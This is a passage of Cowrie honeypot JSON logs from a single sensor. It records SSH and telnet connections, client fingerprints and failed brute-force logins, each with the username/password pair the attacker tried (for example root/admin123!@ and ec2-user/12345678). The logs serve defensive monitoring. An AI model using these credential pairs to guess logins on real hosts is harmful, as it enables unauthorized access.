libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:28.221450Z","src_ip":"190.242.109.42","session":"c3c1c96c82a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test1234","message":"login attempt [test/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:28.664080Z","src_ip":"190.242.109.42","session":"c3c1c96c82a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:29.765732Z","src_ip":"190.242.109.42","session":"c3c1c96c82a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":52134,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e664b27deab","protocol":"ssh","message":"New connection: 151.80.141.196:52134 (10.17.0.5:22) [session: 3e664b27deab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:37.998366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:38.005141Z","src_ip":"151.80.141.196","session":"3e664b27deab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:38.085126Z","src_ip":"151.80.141.196","session":"3e664b27deab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@","message":"login attempt [root/admin123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:38.402158Z","src_ip":"151.80.141.196","session":"3e664b27deab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:39.487571Z","src_ip":"151.80.141.196","session":"3e664b27deab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2315ac7a248","protocol":"telnet","message":"New connection: 212.55.149.117:52074 (10.17.0.5:23) [session: e2315ac7a248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:45.606832Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33412,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c4931dffc8","protocol":"ssh","message":"New connection: 103.147.159.91:33412 (10.17.0.5:22) [session: 66c4931dffc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:16.649251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:16.653682Z","src_ip":"103.147.159.91","session":"66c4931dffc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:16.903191Z","src_ip":"103.147.159.91","session":"66c4931dffc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:17.911069Z","src_ip":"103.147.159.91","session":"66c4931dffc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:19.158361Z","src_ip":"103.147.159.91","session":"66c4931dffc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":40512,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dd0aff3da85","protocol":"ssh","message":"New connection: 151.80.141.196:40512 (10.17.0.5:22) [session: 7dd0aff3da85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:28.355455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:28.359618Z","src_ip":"151.80.141.196","session":"7dd0aff3da85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:28.446330Z","src_ip":"151.80.141.196","session":"7dd0aff3da85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345qwert","message":"login attempt [postgres/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:28.828851Z","src_ip":"151.80.141.196","session":"7dd0aff3da85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:29.917933Z","src_ip":"151.80.141.196","session":"7dd0aff3da85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea40f27e035","protocol":"ssh","message":"New connection: 190.242.109.42:39170 (10.17.0.5:22) [session: 1ea40f27e035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:35.841789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:35.850986Z","src_ip":"190.242.109.42","session":"1ea40f27e035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:35.951821Z","src_ip":"190.242.109.42","session":"1ea40f27e035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:36.377335Z","src_ip":"190.242.109.42","session":"1ea40f27e035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:41:37.481067Z","src_ip":"190.242.109.42","session":"1ea40f27e035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33470,"dst_ip":"10.17.0.5","dst_port":22,"session":"d192f44e6a70","protocol":"ssh","message":"New connection: 103.147.159.91:33470 (10.17.0.5:22) [session: d192f44e6a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:07.531643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:07.536519Z","src_ip":"103.147.159.91","session":"d192f44e6a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:07.783423Z","src_ip":"103.147.159.91","session":"d192f44e6a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Password@123","message":"login attempt [administrator/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:08.801256Z","src_ip":"103.147.159.91","session":"d192f44e6a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.82.188.142","src_port":51868,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d17f5a7f0ad","protocol":"telnet","message":"New connection: 200.82.188.142:51868 (159.203.135.109:23) [session: 1d17f5a7f0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:09.074396Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:10.050610Z","src_ip":"103.147.159.91","session":"d192f44e6a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65141,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab5811a3d47","protocol":"telnet","message":"New connection: 212.55.149.117:65141 (10.17.0.5:23) [session: 4ab5811a3d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:12.579855Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":56900,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdfaddc36f7","protocol":"ssh","message":"New connection: 151.80.141.196:56900 (10.17.0.5:22) [session: afdfaddc36f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:13.669459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:13.674589Z","src_ip":"151.80.141.196","session":"afdfaddc36f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:13.769408Z","src_ip":"151.80.141.196","session":"afdfaddc36f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!!","message":"login attempt [ubuntu/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:14.129768Z","src_ip":"151.80.141.196","session":"afdfaddc36f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:15.218233Z","src_ip":"151.80.141.196","session":"afdfaddc36f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0033450126648,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:17.839172Z","src_ip":"212.55.149.117","session":"98e596b80e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8964,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e47adc0932","protocol":"telnet","message":"New connection: 212.55.149.117:8964 (10.17.0.5:23) [session: 47e47adc0932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:19.662455Z"}
{"eventid":"cowrie.session.closed","duration":12.779221057891846,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:21.853506Z","src_ip":"200.82.188.142","session":"1d17f5a7f0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":40538,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd274f87693","protocol":"ssh","message":"New connection: 189.46.1.73:40538 (10.17.0.5:22) [session: ccd274f87693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:23.750455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:23.814794Z","src_ip":"189.46.1.73","session":"ccd274f87693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:23.949118Z","src_ip":"189.46.1.73","session":"ccd274f87693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestguest","message":"login attempt [guest/guestguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:24.531910Z","src_ip":"189.46.1.73","session":"ccd274f87693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:25.668319Z","src_ip":"189.46.1.73","session":"ccd274f87693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed63d25a0bf1","protocol":"ssh","message":"New connection: 190.242.109.42:57086 (10.17.0.5:22) [session: ed63d25a0bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:44.133588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:44.140745Z","src_ip":"190.242.109.42","session":"ed63d25a0bf1","protocol":"ssh"}
